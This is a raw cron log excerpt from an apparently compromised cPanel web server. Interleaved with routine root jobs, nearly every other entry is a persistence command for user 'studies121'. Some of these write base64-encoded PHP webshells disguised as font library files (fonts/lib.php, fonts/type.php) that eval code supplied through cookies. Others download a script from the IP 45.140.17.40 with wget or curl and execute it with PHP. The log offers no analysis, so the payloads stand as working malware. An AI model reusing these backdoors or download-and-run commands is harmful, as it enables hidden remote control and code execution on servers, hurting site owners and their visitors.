Sep  2 16:16:02 ip-184-168-122-23 CROND[11508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:16:02 ip-184-168-122-23 CROND[11509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:17:01 ip-184-168-122-23 CROND[11670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:17:01 ip-184-168-122-23 CROND[11672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:17:01 ip-184-168-122-23 CROND[11674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:17:01 ip-184-168-122-23 CROND[11673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:18:02 ip-184-168-122-23 CROND[11836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:18:02 ip-184-168-122-23 CROND[11837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:18:02 ip-184-168-122-23 CROND[11835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:18:02 ip-184-168-122-23 CROND[11838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:18:02 ip-184-168-122-23 CROND[11839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:19:01 ip-184-168-122-23 CROND[11929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:19:01 ip-184-168-122-23 CROND[11932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:19:01 ip-184-168-122-23 CROND[11931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:19:01 ip-184-168-122-23 CROND[11933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12039]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:20:01 ip-184-168-122-23 CROND[12036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:20:01 ip-184-168-122-23 CROND[12044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:20:01 ip-184-168-122-23 CROND[12046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:21:01 ip-184-168-122-23 CROND[12139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:21:01 ip-184-168-122-23 CROND[12140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:21:01 ip-184-168-122-23 CROND[12138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:21:01 ip-184-168-122-23 CROND[12141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:22:01 ip-184-168-122-23 CROND[12242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:22:01 ip-184-168-122-23 CROND[12244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:22:01 ip-184-168-122-23 CROND[12245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:22:01 ip-184-168-122-23 CROND[12246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:22:01 ip-184-168-122-23 CROND[12247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:23:01 ip-184-168-122-23 CROND[12336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:23:01 ip-184-168-122-23 CROND[12338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:23:01 ip-184-168-122-23 CROND[12339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:23:01 ip-184-168-122-23 CROND[12341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:24:01 ip-184-168-122-23 CROND[12419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:24:02 ip-184-168-122-23 CROND[12421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:24:02 ip-184-168-122-23 CROND[12422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:24:02 ip-184-168-122-23 CROND[12425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:24:02 ip-184-168-122-23 CROND[12427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12516]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:25:01 ip-184-168-122-23 CROND[12517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:26:01 ip-184-168-122-23 CROND[12612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:26:01 ip-184-168-122-23 CROND[12609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:26:01 ip-184-168-122-23 CROND[12610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:26:01 ip-184-168-122-23 CROND[12611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:26:02 ip-184-168-122-23 CROND[12613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:27:01 ip-184-168-122-23 CROND[12799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:27:01 ip-184-168-122-23 CROND[12800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:27:01 ip-184-168-122-23 CROND[12801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:27:01 ip-184-168-122-23 CROND[12802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:28:01 ip-184-168-122-23 CROND[12884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:28:01 ip-184-168-122-23 CROND[12885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:28:01 ip-184-168-122-23 CROND[12887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:28:01 ip-184-168-122-23 CROND[12886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
